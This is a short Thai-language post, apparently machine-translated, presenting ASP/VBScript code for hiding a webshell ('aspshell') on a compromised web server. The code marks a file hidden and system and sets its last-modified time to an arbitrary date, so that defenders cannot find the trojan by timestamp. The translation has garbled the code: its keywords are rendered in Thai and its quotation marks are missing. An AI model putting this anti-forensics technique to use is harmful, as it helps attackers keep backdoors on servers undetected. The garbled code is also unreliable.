Aspshell ซ่อนและแก้ไขเวลาแก้ไขล่าสุดของไฟล์ ดังนั้น เมื่อค้นหาโทรจันในอนาคต คุณไม่สามารถตัดสินตามเวลาได้ คัดลอกรหัสรหัสดังต่อไปนี้:
-
'ซ่อนและแก้ไขเวลาแก้ไขล่าสุดของไฟล์ aspshell
หลักการ: คุณสามารถแก้ไขคุณสมบัติของไฟล์ผ่าน FSO เช่นการตั้งค่าเป็นแบบอ่านอย่างเดียว ซ่อน ระบบ ฯลฯ แอตทริบิวต์แอตทริบิวต์ใน FSO จะปรับเปลี่ยนแอตทริบิวต์ของไฟล์ 1 คืออ่านอย่างเดียว 2 ถูกซ่อนไว้ และ 4 คือไฟล์ระบบ
'คุณสามารถรีเซ็ตเวลาแก้ไขล่าสุดสำหรับไฟล์ผ่านทาง shell.application
'24/02/2009 เขียนโดย skyfire
response.write <วิธีแบบฟอร์ม = โพสต์>
เส้นทาง response.write: <input name=path value='&server.mappath(/)&' size='30'>(ต้องลงท้ายด้วย /)<br />
ชื่อไฟล์ response.write: <input name=filename value='test.txt' size='30'><br />
เวลาแก้ไข response.write: <input name=time value='12/30/2099 12:30:30' size='30'><br />
response.write <input type=submit value=แก้ไขและซ่อนไฟล์>
response.write </form>
'รับพารามิเตอร์ที่ส่ง
ตั้งค่า path=request.Form(path)
ตั้งค่า fileName=request.Form(ชื่อไฟล์)
ตั้งค่า newTime=request.Form(time)
if( (len(path)>0)และ(len(ชื่อไฟล์)>0)และ(len(newTime)>0) )แล้ว
'ตั้งค่าคุณสมบัติของไฟล์ผ่าน fso'
ตั้งค่า fso=Server.CreateObject(Scripting.FileSystemObject)
ตั้งค่า file=fso.getFile(path&fileName)
file.attributes=2+4 'ตั้งค่าคุณสมบัติของไฟล์เป็นระบบ + ที่ซ่อนอยู่
'แก้ไขเวลาแก้ไขล่าสุดของไฟล์ผ่านเชลล์แอปพลิเคชัน
ตั้งค่าเชลล์ = Server.CreateObject (Shell.Application)
ตั้งค่า app_path=shell.NameSpace(server.mappath(.))
ตั้งค่า app_file=app_path.ParseName(fileName)
app_file.Modifydate=เวลาใหม่
สิ้นสุดถ้า
-